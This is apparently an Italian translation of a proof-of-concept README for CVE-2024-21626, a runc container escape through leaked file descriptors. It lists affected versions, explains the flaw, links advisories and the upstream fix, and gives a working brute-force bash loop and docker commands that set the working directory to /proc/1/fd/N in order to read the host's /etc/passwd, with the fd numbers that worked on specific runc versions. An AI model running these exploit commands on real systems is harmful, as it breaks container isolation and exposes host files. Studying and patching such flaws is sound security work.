CVE-2024-21626

Uso:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

Verifica: se ottieni /etc/passwd dell'host, la vulnerabilità è presente.

Ambiente: runc: >=v1.0.0-rc93, <=1.1.11

Dettagli dell'attacco e principio: Nelle versioni vulnerabili di runc, a causa della perdita di alcuni descrittori di file interni durante l'inizializzazione, inclusa una gestione del /sys/fs/cgroup dell'host, e poiché runc non verifica se la directory di lavoro finale si trova nel namespace di mount del contenitore. Un attaccante può modificare la configurazione process.cwd in /proc/self/fd/7 o sostituire un percorso specifico passato nel parametro --cwd durante l'esecuzione di runc exec sull'host con un link simbolico /proc/self/fd/7/, consentendo così ai processi all'interno del contenitore di accedere e manipolare il filesystem dell'host, bypassando l'isolamento del contenitore. Maggiori dettagli (immagine gif):

1. L'attaccante utilizza un pacchetto docker-poc fatto in casa per sfruttare la vulnerabilità CVE-2024-21626 runc process.cwd e fds trapelati container breakout | Snyk (snyk.io)
2. Questa immagine docker non è ancora open source pubblicamente 20240201
3. Modifica logica del codice sorgente ufficiale: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc vulnerabile a container breakout tramite Process.CWD e FDS trapelati · CVE-2024-21626 · GitHub Advisory Database

CVE: CVE - CVE-2024-21626 (mitre.org) Scopritore di questa vulnerabilità: CVE-2024-21626 runc process.cwd e fds trapelati container breakout | Snyk (snyk.io)

I fd effettivi possono variare in base all'ordine di apertura dei file. Puoi usare il seguente script per brute-force:

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

Test locale riuscito: fd/9 funziona con runc-version: 1.1.10, 1.1.2

Quando runc --version è 1.0.0:

Quando runc --version è 1.1.4: fd/8 funziona

Vulnerabilità scoperta oggi. Di seguito ulteriori dettagli.

Puoi replicare con i seguenti metodi:

1. runc - input: compilazione manuale con breakpoint
2. Utilizzare eBPF per monitorare runc e impostare breakpoint
3. runc create demo runc exec demo ls /proc/1/fd -a: puoi vedere direttamente i link simbolici corrispondenti
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd: brute-force

todo: Ottenere i fd tramite breakpoint di runc per automatizzare.